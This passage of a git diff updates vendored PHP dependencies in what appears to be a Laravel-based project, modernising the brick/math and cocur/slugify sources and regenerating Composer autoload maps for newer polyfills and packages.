a/vendor/brick/math/src/Internal/Calculator/GmpCalculator.php +++ b/vendor/brick/math/src/Internal/Calculator/GmpCalculator.php @@ -15,49 +15,31 @@ */ class GmpCalculator extends Calculator { - /** - * {@inheritdoc} - */ public function add(string $a, string $b) : string { return \gmp_strval(\gmp_add($a, $b)); } - /** - * {@inheritdoc} - */ public function sub(string $a, string $b) : string { return \gmp_strval(\gmp_sub($a, $b)); } - /** - * {@inheritdoc} - */ public function mul(string $a, string $b) : string { return \gmp_strval(\gmp_mul($a, $b)); } - /** - * {@inheritdoc} - */ public function divQ(string $a, string $b) : string { return \gmp_strval(\gmp_div_q($a, $b)); } - /** - * {@inheritdoc} - */ public function divR(string $a, string $b) : string { return \gmp_strval(\gmp_div_r($a, $b)); } - /** - * {@inheritdoc} - */ public function divQR(string $a, string $b) : array { [$q, $r] = \gmp_div_qr($a, $b); @@ -68,17 +50,11 @@ public function divQR(string $a, string $b) : array ]; } - /** - * {@inheritdoc} - */ public function pow(string $a, int $e) : string { return \gmp_strval(\gmp_pow($a, $e)); } - /** - * {@inheritdoc} - */ public function modInverse(string $x, string $m) : ?string { $result = \gmp_invert($x, $m); @@ -90,65 +66,41 @@ public function modInverse(string $x, string $m) : ?string return \gmp_strval($result); } - /** - * {@inheritdoc} - */ public function modPow(string $base, string $exp, string $mod) : string { return \gmp_strval(\gmp_powm($base, $exp, $mod)); } - /** - * {@inheritdoc} - */ public function gcd(string $a, string $b) : string { return \gmp_strval(\gmp_gcd($a, $b)); } - /** - * {@inheritdoc} - */ public function fromBase(string $number, int $base) : string { return \gmp_strval(\gmp_init($number, $base)); } - /** - * {@inheritdoc} - */ public function toBase(string $number, int $base) : string { return \gmp_strval($number, $base); } - /** - * {@inheritdoc} - */ public function and(string $a, string $b) : string { return \gmp_strval(\gmp_and($a, $b)); } - /** - * {@inheritdoc} - */ public function or(string $a, string $b) : string { return \gmp_strval(\gmp_or($a, $b)); } - /** - * {@inheritdoc} - */ public function xor(string $a, string $b) : string { return \gmp_strval(\gmp_xor($a, $b)); } - /** - * {@inheritDoc} - */ public function sqrt(string $n) : string { return \gmp_strval(\gmp_sqrt($n)); diff --git a/vendor/brick/math/src/Internal/Calculator/NativeCalculator.php b/vendor/brick/math/src/Internal/Calculator/NativeCalculator.php index 020a6338b..6acd06382 100644 --- a/vendor/brick/math/src/Internal/Calculator/NativeCalculator.php +++ b/vendor/brick/math/src/Internal/Calculator/NativeCalculator.php @@ -19,38 +19,24 @@ class NativeCalculator extends Calculator * The max number of digits the platform can natively add, subtract, multiply or divide without overflow. * For multiplication, this represents the max sum of the lengths of both operands. * - * For addition, it is assumed that an extra digit can hold a carry (1) without overflowing. + * In addition, it is assumed that an extra digit can hold a carry (1) without overflowing. * Example: 32-bit: max number 1,999,999,999 (9 digits + carry) * 64-bit: max number 1,999,999,999,999,999,999 (18 digits + carry) - * - * @var int */ - private $maxDigits; + private readonly int $maxDigits; /** - * Class constructor. - * * @codeCoverageIgnore */ public function __construct() { - switch (PHP_INT_SIZE) { - case 4: - $this->maxDigits = 9; - break; - - case 8: - $this->maxDigits = 18; - break; - - default: - throw new \RuntimeException('The platform is not 32-bit or 64-bit as expected.'); - } + $this->maxDigits = match (PHP_INT_SIZE) { + 4 => 9, + 8 => 18, + default => throw new \RuntimeException('The platform is not 32-bit or 64-bit as expected.') + }; } - /** - * {@inheritdoc} - */ public function add(string $a, string $b) : string { /** @@ -82,17 +68,11 @@ public function add(string $a, string $b) : string return $result; } - /** - * {@inheritdoc} - */ public function sub(string $a, string $b) : string { return $this->add($a, $this->neg($b)); } - /** - * {@inheritdoc} - */ public function mul(string $a, string $b) : string { /** @@ -136,25 +116,16 @@ public function mul(string $a, string $b) : string return $result; } - /** - * {@inheritdoc} - */ public function divQ(string $a, string $b) : string { return $this->divQR($a, $b)[0]; } - /** - * {@inheritdoc} - */ public function divR(string $a, string $b): string { return $this->divQR($a, $b)[1]; } - /** - * {@inheritdoc} - */ public function divQR(string $a, string $b) : array { if ($a === '0') { @@ -183,10 +154,8 @@ public function divQR(string $a, string $b) : array if (is_int($nb)) { // the only division that may overflow is PHP_INT_MIN / -1, // which cannot happen here as we've already handled a divisor of -1 above. + $q = intdiv($na, $nb); $r = $na % $nb; - $q = ($na - $r) / $nb; - - assert(is_int($q)); return [ (string) $q, @@ -210,9 +179,6 @@ public function divQR(string $a, string $b) : array return [$q, $r]; } - /** - * {@inheritdoc} - */ public function pow(string $a, int $e) : string { if ($e === 0) { @@ -240,8 +206,6 @@ public function pow(string $a, int $e) : string /** * Algorithm from: https://www.geeksforgeeks.org/modular-exponentiation-power-in-modular-arithmetic/ - * - * {@inheritdoc} */ public function modPow(string $base, string $exp, string $mod) : string { @@ -276,8 +240,6 @@ public function modPow(string $base, string $exp, string $mod) : string /** * Adapted from https://cp-algorithms.com/num_methods/roots_newton.html - * - * {@inheritDoc} */ public function sqrt(string $n) : string { @@ -306,11 +268,6 @@ public function sqrt(string $n) : string /** * Performs the addition of two non-signed large integers. - * - * @param string $a The first operand. - * @param string $b The second operand. - * - * @return string */ private function doAdd(string $a, string $b) : string { @@ -363,11 +320,6 @@ private function doAdd(string $a, string $b) : string /** * Performs the subtraction of two non-signed large integers. - * - * @param string $a The first operand. - * @param string $b The second operand. - * - * @return string */ private function doSub(string $a, string $b) : string { @@ -445,11 +397,6 @@ private function doSub(string $a, string $b) : string /** * Performs the multiplication of two non-signed large integers. - * - * @param string $a The first operand. - * @param string $b The second operand. - * - * @return string */ private function doMul(string $a, string $b) : string { @@ -522,9 +469,6 @@ private function doMul(string $a, string $b) : string /** * Performs the division of two non-signed large integers. * - * @param string $a The first operand. - * @param string $b The second operand. - * * @return string[] The quotient and remainder. */ private function doDiv(string $a, string $b) : array @@ -583,10 +527,7 @@ private function doDiv(string $a, string $b) : array /** * Compares two non-signed large numbers. * - * @param string $a The first operand. - * @param string $b The second operand. - * - * @return int [-1, 0, 1] + * @psalm-return -1|0|1 */ private function doCmp(string $a, string $b) : int { @@ -599,7 +540,7 @@ private function doCmp(string $a, string $b) : int return $cmp; } - return \strcmp($a, $b) <=> 0; // enforce [-1, 0, 1] + return \strcmp($a, $b) <=> 0; // enforce -1|0|1 } /** @@ -607,9 +548,6 @@ private function doCmp(string $a, string $b) : int * * The numbers must only consist of digits, without leading minus sign. * - * @param string $a The first operand. - * @param string $b The second operand. - * * @return array{string, string, int} */ private function pad(string $a, string $b) : array diff --git a/vendor/brick/math/src/RoundingMode.php b/vendor/brick/math/src/RoundingMode.php index 06936d8db..e8ee6a8b4 100644 --- a/vendor/brick/math/src/RoundingMode.php +++ b/vendor/brick/math/src/RoundingMode.php @@ -13,24 +13,15 @@ * regardless the digits' contribution to the value of the number. In other words, considered * as a numerical value, the discarded fraction could have an absolute value greater than one. */ -final class RoundingMode +enum RoundingMode { - /** - * Private constructor. This class is not instantiable. - * - * @codeCoverageIgnore - */ - private function __construct() - { - } - /** * Asserts that the requested operation has an exact result, hence no rounding is necessary. * * If this rounding mode is specified on an operation that yields a result that * cannot be represented at the requested scale, a RoundingNecessaryException is thrown. */ - public const UNNECESSARY = 0; + case UNNECESSARY; /** * Rounds away from zero. @@ -38,7 +29,7 @@ private function __construct() * Always increments the digit prior to a nonzero discarded fraction. * Note that this rounding mode never decreases the magnitude of the calculated value. */ - public const UP = 1; + case UP; /** * Rounds towards zero. @@ -46,7 +37,7 @@ private function __construct() * Never increments the digit prior to a discarded fraction (i.e., truncates). * Note that this rounding mode never increases the magnitude of the calculated value. */ - public const DOWN = 2; + case DOWN; /** * Rounds towards positive infinity. @@ -54,7 +45,7 @@ private function __construct() * If the result is positive, behaves as for UP; if negative, behaves as for DOWN. * Note that this rounding mode never decreases the calculated value. */ - public const CEILING = 3; + case CEILING; /** * Rounds towards negative infinity. @@ -62,7 +53,7 @@ private function __construct() * If the result is positive, behave as for DOWN; if negative, behave as for UP. * Note that this rounding mode never increases the calculated value. */ - public const FLOOR = 4; + case FLOOR; /** * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round up. @@ -70,28 +61,28 @@ private function __construct() * Behaves as for UP if the discarded fraction is >= 0.5; otherwise, behaves as for DOWN. * Note that this is the rounding mode commonly taught at school. */ - public const HALF_UP = 5; + case HALF_UP; /** * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round down. * * Behaves as for UP if the discarded fraction is > 0.5; otherwise, behaves as for DOWN. */ - public const HALF_DOWN = 6; + case HALF_DOWN; /** * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round towards positive infinity. * * If the result is positive, behaves as for HALF_UP; if negative, behaves as for HALF_DOWN. */ - public const HALF_CEILING = 7; + case HALF_CEILING; /** * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round towards negative infinity. * * If the result is positive, behaves as for HALF_DOWN; if negative, behaves as for HALF_UP. */ - public const HALF_FLOOR = 8; + case HALF_FLOOR; /** * Rounds towards the "nearest neighbor" unless both neighbors are equidistant, in which case rounds towards the even neighbor. @@ -103,5 +94,5 @@ private function __construct() * cumulative error when applied repeatedly over a sequence of calculations. * It is sometimes known as "Banker's rounding", and is chiefly used in the USA. */ - public const HALF_EVEN = 9; + case HALF_EVEN; } diff --git a/vendor/cocur/slugify/composer.json b/vendor/cocur/slugify/composer.json index 2e24f5c9d..59efdf6fa 100644 --- a/vendor/cocur/slugify/composer.json +++ b/vendor/cocur/slugify/composer.json @@ -19,7 +19,7 @@ } ], "require": { - "php": "^7.1 || ~8.0.0 || ~8.1.0 || ~8.2.0", + "php": "~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0", "ext-mbstring": "*" }, "conflict": { diff --git a/vendor/cocur/slugify/src/Slugify.php b/vendor/cocur/slugify/src/Slugify.php index be2088dc8..7dce1f6ff 100644 --- a/vendor/cocur/slugify/src/Slugify.php +++ b/vendor/cocur/slugify/src/Slugify.php @@ -1,38 +1,12 @@ * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. */ namespace Cocur\Slugify; @@ -43,6 +17,10 @@ /** * Slugify * + * @package Cocur\Slugify + * @author Florian Eckerstorfer + * @author Ivo Bathke + * @author Marchenko Alexandr * @copyright 2012-2015 Florian Eckerstorfer * @license http://www.opensource.org/licenses/MIT The MIT License */ @@ -55,19 +33,22 @@ class Slugify implements SlugifyInterface */ protected array $rules = []; + /** + * @var RuleProviderInterface + */ protected RuleProviderInterface $provider; /** * @var array */ protected array $options = [ - 'regexp' => self::LOWERCASE_NUMBERS_DASHES, - 'separator' => '-', - 'lowercase' => true, + 'regexp' => self::LOWERCASE_NUMBERS_DASHES, + 'separator' => '-', + 'lowercase' => true, 'lowercase_after_regexp' => false, - 'trim' => true, - 'strip_tags' => false, - 'rulesets' => [ + 'trim' => true, + 'strip_tags' => false, + 'rulesets' => [ 'default', // Languages are preferred if they appear later, list is ordered by number of // websites in that language @@ -90,14 +71,18 @@ class Slugify implements SlugifyInterface 'polish', 'german', 'russian', - 'romanian', + 'romanian' ], ]; - public function __construct(array $options = [], ?RuleProviderInterface $provider = null) + /** + * @param array $options + * @param RuleProviderInterface $provider + */ + public function __construct(array $options = [], RuleProviderInterface $provider = null) { $this->options = array_merge($this->options, $options); - $this->provider = $provider ?: new DefaultRuleProvider(); + $this->provider = $provider ? $provider : new DefaultRuleProvider(); foreach ($this->options['rulesets'] as $ruleSet) { $this->activateRuleSet($ruleSet); @@ -108,11 +93,11 @@ public function __construct(array $options = [], ?RuleProviderInterface $provide * Returns the slug-version of the string. * * @param string $string String to slugify - * @param array|string|null $options Options + * @param string|array|null $options Options * * @return string Slugified version of the string */ - public function slugify(string $string, $options = null): string + public function slugify(string $string, array|string|null $options = null): string { // BC: the second argument used to be the separator if (is_string($options)) { @@ -137,7 +122,7 @@ public function slugify(string $string, $options = null): string $string = strtr($string, $rules); unset($rules); - if ($options['lowercase'] && ! $options['lowercase_after_regexp']) { + if ($options['lowercase'] && !$options['lowercase_after_regexp']) { $string = mb_strtolower($string); } @@ -157,6 +142,8 @@ public function slugify(string $string, $options = null): string * * @param string $character Character * @param string $replacement Replacement character + * + * @return Slugify */ public function addRule($character, $replacement): self { @@ -169,6 +156,8 @@ public function addRule($character, $replacement): self * Adds multiple rules to Slugify. * * @param array $rules + * + * @return Slugify */ public function addRules(array $rules): self { @@ -179,7 +168,12 @@ public function addRules(array $rules): self return $this; } - public function activateRuleSet(string $ruleSet): self + /** + * @param string $ruleSet + * + * @return Slugify + */ + public function activateRuleSet($ruleSet): self { return $this->addRules($this->provider->getRules($ruleSet)); } @@ -188,6 +182,8 @@ public function activateRuleSet(string $ruleSet): self * Static method to create new instance of {@see Slugify}. * * @param array $options + * + * @return Slugify */ public static function create(array $options = []): self { diff --git a/vendor/cocur/slugify/src/SlugifyInterface.php b/vendor/cocur/slugify/src/SlugifyInterface.php index a475099a1..10dc534b5 100644 --- a/vendor/cocur/slugify/src/SlugifyInterface.php +++ b/vendor/cocur/slugify/src/SlugifyInterface.php @@ -1,38 +1,12 @@ * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. */ namespace Cocur\Slugify; @@ -40,6 +14,9 @@ /** * SlugifyInterface * + * @package org.cocur.slugify + * @author Florian Eckerstorfer + * @author Marchenko Alexandr * @copyright 2012-2014 Florian Eckerstorfer * @license http://www.opensource.org/licenses/MIT The MIT License */ @@ -48,9 +25,12 @@ interface SlugifyInterface /** * Return a URL safe version of a string. * - * @param array|string|null $options + * @param string $string + * @param string|array|null $options + * + * @return string * * @api */ - public function slugify(string $string, $options = null): string; + public function slugify(string $string, array|string|null $options = null): string; } diff --git a/vendor/composer/autoload_classmap.php b/vendor/composer/autoload_classmap.php index 0c858c539..e653f0933 100644 --- a/vendor/composer/autoload_classmap.php +++ b/vendor/composer/autoload_classmap.php @@ -7,9 +7,17 @@ return array( 'Attribute' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', - 'CURLStringFile' => $vendorDir . '/symfony/polyfill-php81/Resources/stubs/CURLStringFile.php', 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', 'Datamatrix' => $vendorDir . '/tecnickcom/tcpdf/include/barcodes/datamatrix.php', + 'DateError' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/DateError.php', + 'DateException' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/DateException.php', + 'DateInvalidOperationException' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/DateInvalidOperationException.php', + 'DateInvalidTimeZoneException' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/DateInvalidTimeZoneException.php', + 'DateMalformedIntervalStringException' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/DateMalformedIntervalStringException.php', + 'DateMalformedPeriodStringException' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/DateMalformedPeriodStringException.php', + 'DateMalformedStringException' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/DateMalformedStringException.php', + 'DateObjectError' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/DateObjectError.php', + 'DateRangeError' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/DateRangeError.php', 'FPDF' => $vendorDir . '/karriere/pdf-merge/tcpi/tcpdi.php', 'FPDF_TPL' => $vendorDir . '/karriere/pdf-merge/tcpi/fpdf_tpl.php', 'Google_AccessToken_Revoke' => $vendorDir . '/google/apiclient/src/aliases.php', @@ -32,12 +40,12 @@ 'Google_Task_Retryable' => $vendorDir . '/google/apiclient/src/aliases.php', 'Google_Task_Runner' => $vendorDir . '/google/apiclient/src/aliases.php', 'Google_Utils_UriTemplate' => $vendorDir . '/google/apiclient/src/aliases.php', - 'JsonException' => $vendorDir . '/symfony/polyfill-php73/Resources/stubs/JsonException.php', 'Normalizer' => $vendorDir . '/symfony/polyfill-intl-normalizer/Resources/stubs/Normalizer.php', + 'Override' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/Override.php', 'PDF417' => $vendorDir . '/tecnickcom/tcpdf/include/barcodes/pdf417.php', 'PhpToken' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/PhpToken.php', 'QRcode' => $vendorDir . '/tecnickcom/tcpdf/include/barcodes/qrcode.php', - 'ReturnTypeWillChange' => $vendorDir . '/symfony/polyfill-php81/Resources/stubs/ReturnTypeWillChange.php', + 'SQLite3Exception' => $vendorDir . '/symfony/polyfill-php83/Resources/stubs/SQLite3Exception.php', 'Stringable' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/Stringable.php', 'TCPDF' => $vendorDir . '/tecnickcom/tcpdf/tcpdf.php', 'TCPDF2DBarcode' => $vendorDir . '/tecnickcom/tcpdf/tcpdf_barcodes_2d.php', diff --git a/vendor/composer/autoload_files.php b/vendor/composer/autoload_files.php index 0620c79f0..14e2c1636 100644 --- a/vendor/composer/autoload_files.php +++ b/vendor/composer/autoload_files.php @@ -6,27 +6,28 @@ $baseDir = dirname($vendorDir); return array( - 'a4a119a56e50fbb293281d9a48007e0e' => $vendorDir . '/symfony/polyfill-php80/bootstrap.php', '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => $vendorDir . '/symfony/polyfill-mbstring/bootstrap.php', '6e3fae29631ef280660b3cdad06f25a8' => $vendorDir . '/symfony/deprecation-contracts/function.php', '60799491728b879e74601d83e38b2cad' => $vendorDir . '/illuminate/collections/helpers.php', + 'a4a119a56e50fbb293281d9a48007e0e' => $vendorDir . '/symfony/polyfill-php80/bootstrap.php', 'a1105708a18b76903365ca1c4aa61b02' => $vendorDir . '/symfony/translation/Resources/functions.php', '72579e7bd17821bb1321b87411366eae' => $vendorDir . '/illuminate/support/helpers.php', 'e69f7f6ee287b969198c3c9d6777bd38' => $vendorDir . '/symfony/polyfill-intl-normalizer/bootstrap.php', '320cde22f66dd4f5d3fd621d3e88b98f' => $vendorDir . '/symfony/polyfill-ctype/bootstrap.php', '8825ede83f2f289127722d4e842cf7e8' => $vendorDir . '/symfony/polyfill-intl-grapheme/bootstrap.php', - '0d59ee240a4cd96ddbb4ff164fccea4d' => $vendorDir . '/symfony/polyfill-php73/bootstrap.php', + '662a729f963d39afe703c9d9b7ab4a8c' => $vendorDir . '/symfony/polyfill-php83/bootstrap.php', + '06a34129a50df3d9257ee706cf3c875b' => $vendorDir . '/illuminate/filesystem/functions.php', '7b11c4dc42b3b3023073cb14e519683c' => $vendorDir . '/ralouphie/getallheaders/src/getallheaders.php', 'b6b991a57620e2fb6b2f66f03fe9ddc2' => $vendorDir . '/symfony/string/Resources/functions.php', '25072dd6e2470089de65ae7bf11d3109' => $vendorDir . '/symfony/polyfill-php72/bootstrap.php', '37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php', + 'ef65a1626449d89d0811cf9befce46f0' => $vendorDir . '/illuminate/events/functions.php', '667aeda72477189d0494fecd327c3641' => $vendorDir . '/symfony/var-dumper/Resources/functions/dump.php', 'f598d06aa772fa33d905e87be6398fb1' => $vendorDir . '/symfony/polyfill-intl-idn/bootstrap.php', - '23c18046f52bef3eea034657bafda50f' => $vendorDir . '/symfony/polyfill-php81/bootstrap.php', - 'ef65a1626449d89d0811cf9befce46f0' => $vendorDir . '/illuminate/events/functions.php', + '47e1160838b5e5a10346ac4084b58c23' => $vendorDir . '/laravel/prompts/src/helpers.php', + '35a6ad97d21e794e7e22a17d806652e4' => $vendorDir . '/nunomaduro/termwind/src/Functions.php', 'def43f6c87e4f8dfd0c9e1b1bab14fe8' => $vendorDir . '/symfony/polyfill-iconv/bootstrap.php', '1f87db08236948d07391152dccb70f04' => $vendorDir . '/google/apiclient-services/autoload.php', - '538ca81a9a966a6716601ecf48f4eaef' => $vendorDir . '/opis/closure/functions.php', 'decc78cc4436b1292c6c0d151b19445c' => $vendorDir . '/phpseclib/phpseclib/phpseclib/bootstrap.php', 'e39a8b23c42d4e1452234d762b03835a' => $vendorDir . '/ramsey/uuid/src/functions.php', 'b46ad4fe52f4d1899a2951c7e6ea56b0' => $vendorDir . '/voku/portable-utf8/bootstrap.php', diff --git a/vendor/composer/autoload_psr4.php b/vendor/composer/autoload_psr4.php index f2c37369f..964078e6d 100644 --- a/vendor/composer/autoload_psr4.php +++ b/vendor/composer/autoload_psr4.php @@ -10,9 +10,10 @@ 'voku\\' => array($vendorDir . '/voku/portable-ascii/src/voku', $vendorDir . '/voku/portable-utf8/src/voku'), 'phpseclib3\\' => array($vendorDir . '/phpseclib/phpseclib/phpseclib'), 'Yajra\\DataTables\\' => array($vendorDir . '/yajra/laravel-datatables-oracle/src'), - 'Symfony\\Polyfill\\Php81\\' => array($vendorDir . '/symfony/polyfill-php81'), + 'Webmozart\\Assert\\' => array($vendorDir . '/webmozart/assert/src'), + 'Termwind\\' => array($vendorDir . '/nunomaduro/termwind/src'), + 'Symfony\\Polyfill\\Php83\\' => array($vendorDir . '/symfony/polyfill-php83'), 'Symfony\\Polyfill\\Php80\\' => array($vendorDir . '/symfony/polyfill-php80'), - 'Symfony\\Polyfill\\Php73\\' => array($vendorDir . '/symfony/polyfill-php73'), 'Symfony\\Polyfill\\Php72\\' => array($vendorDir . '/symfony/polyfill-php72'), 'Symfony\\Polyfill\\Mbstring\\' => array($vendorDir . '/symfony/polyfill-mbstring'), 'Symfony\\Polyfill\\Intl\\Normalizer\\' => array($vendorDir . '/symfony/polyfill-intl-normalizer'), @@ -35,6 +36,7 @@ 'Symfony\\Component\\ErrorHandler\\' => array($vendorDir . '/symfony/error-handler'), 'Symfony\\Component\\Console\\' => array($vendorDir . '/symfony/console'), 'Spipu\\Html2Pdf\\' => array($vendorDir . '/spipu/html2pdf/src'), + 'Spatie\\LaravelPackageTools\\' => array($vendorDir . '/spatie/laravel-package-tools/src'), 'Spatie\\EloquentSortable\\' => array($vendorDir . '/spatie/eloquent-sortable/src'), 'SlowProg\\CopyFile\\' => array($vendorDir . '/slowprog/composer-copy-file'), 'Rennokki\\QueryCache\\' => array($vendorDir . '/rennokki/laravel-eloquent-query-cache/src'), @@ -42,7 +44,7 @@ 'Ramsey\\Uuid\\' => array($vendorDir . '/ramsey/uuid/src'), 'Ramsey\\Collection\\' => array($vendorDir . '/ramsey/collection/src'), 'Psr\\SimpleCache\\' => array($vendorDir . '/psr/simple-cache/src'), - 'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'), + 'Psr\\Log\\' => array($vendorDir . '/psr/log/src'), 'Psr\\Http\\Message\\' => array($vendorDir . '/psr/http-factory/src', $vendorDir . '/psr/http-message/src'), 'Psr\\Http\\Client\\' => array($vendorDir . '/psr/http-client/src'), 'Psr\\EventDispatcher\\' => array($vendorDir . '/psr/event-dispatcher/src'), @@ -50,22 +52,24 @@ 'Psr\\Clock\\' => array($vendorDir . '/psr/clock/src'), 'Psr\\Cache\\' => array($vendorDir . '/psr/cache/src'), 'ParagonIE\\ConstantTime\\' => array($vendorDir . '/paragonie/constant_time_encoding/src'), - 'Opis\\Closure\\' => array($vendorDir . '/opis/closure/src'), 'OpenSpout\\' => array($vendorDir . '/openspout/openspout/src'), 'OpenSID\\' => array($vendorDir . '/opensid/router/src'), 'Monolog\\' => array($vendorDir . '/monolog/monolog/src/Monolog'), 'Modules\\' => array($baseDir . '/Modules'), 'Mike42\\' => array($vendorDir . '/mike42/escpos-php/src/Mike42', $vendorDir . '/mike42/gfx-php/src/Mike42'), 'League\\MimeTypeDetection\\' => array($vendorDir . '/league/mime-type-detection/src'), + 'League\\Flysystem\\Local\\' => array($vendorDir . '/league/flysystem-local'), 'League\\Flysystem\\' => array($vendorDir . '/league/flysystem/src'), 'Laravel\\SerializableClosure\\' => array($vendorDir . '/laravel/serializable-closure/src'), + 'Laravel\\Prompts\\' => array($vendorDir . '/laravel/prompts/src'), 'Karriere\\PdfMerge\\' => array($vendorDir . '/karriere/pdf-merge/src'), 'Illuminate\\View\\' => array($vendorDir . '/illuminate/view'), - 'Illuminate\\Support\\' => array($vendorDir . '/illuminate/collections', $vendorDir . '/illuminate/macroable', $vendorDir . '/illuminate/support'), + 'Illuminate\\Support\\' => array($vendorDir . '/illuminate/collections', $vendorDir . '/illuminate/conditionable', $vendorDir . '/illuminate/macroable', $vendorDir . '/illuminate/support'), 'Illuminate\\Session\\' => array($vendorDir . '/illuminate/session'), 'Illuminate\\Queue\\' => array($vendorDir . '/illuminate/queue'), 'Illuminate\\Pipeline\\' => array($vendorDir . '/illuminate/pipeline'), 'Illuminate\\Pagination\\' => array($vendorDir . '/illuminate/pagination'), + 'Illuminate\\Log\\' => array($vendorDir . '/illuminate/log'), 'Illuminate\\Http\\' => array($vendorDir . '/illuminate/http'), 'Illuminate\\Hashing\\' => array($vendorDir . '/illuminate/hashing'), 'Illuminate\\Filesystem\\' => array($vendorDir . '/illuminate/filesystem'), @@ -78,16 +82,23 @@ 'Illuminate\\Config\\' => array($vendorDir . '/illuminate/config'), 'Illuminate\\Cache\\' => array($vendorDir . '/illuminate/cache'), 'Illuminate\\Bus\\' => array($vendorDir . '/illuminate/bus'), + 'GuzzleHttp\\UriTemplate\\' => array($vendorDir . '/guzzlehttp/uri-template/src'), 'GuzzleHttp\\Psr7\\' => array($vendorDir . '/guzzlehttp/psr7/src'), 'GuzzleHttp\\Promise\\' => array($vendorDir . '/guzzlehttp/promises/src'), 'GuzzleHttp\\' => array($vendorDir . '/guzzlehttp/guzzle/src'), 'Google\\Service\\' => array($vendorDir . '/google/apiclient-services/src'), 'Google\\Auth\\' => array($vendorDir . '/google/auth/src'), 'Google\\' => array($vendorDir . '/google/apiclient/src'), + 'Fruitcake\\Cors\\' => array($vendorDir . '/fruitcake/php-cors/src'), 'Firebase\\JWT\\' => array($vendorDir . '/firebase/php-jwt/src'), 'Fcm\\' => array($vendorDir . '/edwinhoksberg/php-fcm/src'), 'Doctrine\\Inflector\\' => array($vendorDir . '/doctrine/inflector/lib/Doctrine/Inflector'), + 'Doctrine\\Deprecations\\' => array($vendorDir . '/doctrine/deprecations/lib/Doctrine/Deprecations'), + 'Doctrine\\DBAL\\' => array($vendorDir . '/doctrine/dbal/src'), + 'Doctrine\\Common\\Cache\\' => array($vendorDir . '/doctrine/cache/lib/Doctrine/Common/Cache'), + 'Doctrine\\Common\\' => array($vendorDir . '/doctrine/event-manager/src'), 'Cviebrock\\EloquentSluggable\\' => array($vendorDir . '/cviebrock/eloquent-sluggable/src'), + 'Cron\\' => array($vendorDir . '/dragonmantank/cron-expression/src/Cron'), 'Cocur\\Slugify\\' => array($vendorDir . '/cocur/slugify/src'), 'Carbon\\Doctrine\\' => array($vendorDir . '/carbonphp/carbon-doctrine-types/src/Carbon/Doctrine'), 'Carbon\\' => array($vendorDir . '/nesbot/carbon/src/Carbon'), diff --git a/vendor/composer/autoload_static.php b/vendor/composer/autoload_static.php index a1b6555e6..26a80d2ca 100644 --- a/vendor/composer/autoload_static.php +++ b/vendor/composer/autoload_static.php @@ -7,27 +7,28 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 { public static $files = array ( - 'a4a119a56e50fbb293281d9a48007e0e' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php', '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/bootstrap.php', '6e3fae29631ef280660b3cdad06f25a8' => __DIR__ . '/..' . '/symfony/deprecation-contracts/function.php', '60799491728b879e74601d83e38b2cad' => __DIR__ . '/..' . '/illuminate/collections/helpers.php', + 'a4a119a56e50fbb293281d9a48007e0e' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php', 'a1105708a18b76903365ca1c4aa61b02' => __DIR__ . '/..' . '/symfony/translation/Resources/functions.php', '72579e7bd17821bb1321b87411366eae' => __DIR__ . '/..' . '/illuminate/support/helpers.php', 'e69f7f6ee287b969198c3c9d6777bd38' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/bootstrap.php', '320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php', '8825ede83f2f289127722d4e842cf7e8' => __DIR__ . '/..' . '/symfony/polyfill-intl-grapheme/bootstrap.php', - '0d59ee240a4cd96ddbb4ff164fccea4d' => __DIR__ . '/..' . '/symfony/polyfill-php73/bootstrap.php', + '662a729f963d39afe703c9d9b7ab4a8c' => __DIR__ . '/..' . '/symfony/polyfill-php83/bootstrap.php', + '06a34129a50df3d9257ee706cf3c875b' => __DIR__ . '/..' . '/illuminate/filesystem/functions.php', '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php', 'b6b991a57620e2fb6b2f66f03fe9ddc2' => __DIR__ . '/..' . '/symfony/string/Resources/functions.php', '25072dd6e2470089de65ae7bf11d3109' => __DIR__ . '/..' . '/symfony/polyfill-php72/bootstrap.php', '37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php', + 'ef65a1626449d89d0811cf9befce46f0' => __DIR__ . '/..' . '/illuminate/events/functions.php', '667aeda72477189d0494fecd327c3641' => __DIR__ . '/..' . '/symfony/var-dumper/Resources/functions/dump.php', 'f598d06aa772fa33d905e87be6398fb1' => __DIR__ . '/..' . '/symfony/polyfill-intl-idn/bootstrap.php', - '23c18046f52bef3eea034657bafda50f' => __DIR__ . '/..' . '/symfony/polyfill-php81/bootstrap.php', - 'ef65a1626449d89d0811cf9befce46f0' => __DIR__ . '/..' . '/illuminate/events/functions.php', + '47e1160838b5e5a10346ac4084b58c23' => __DIR__ . '/..' . '/laravel/prompts/src/helpers.php', + '35a6ad97d21e794e7e22a17d806652e4' => __DIR__ . '/..' . 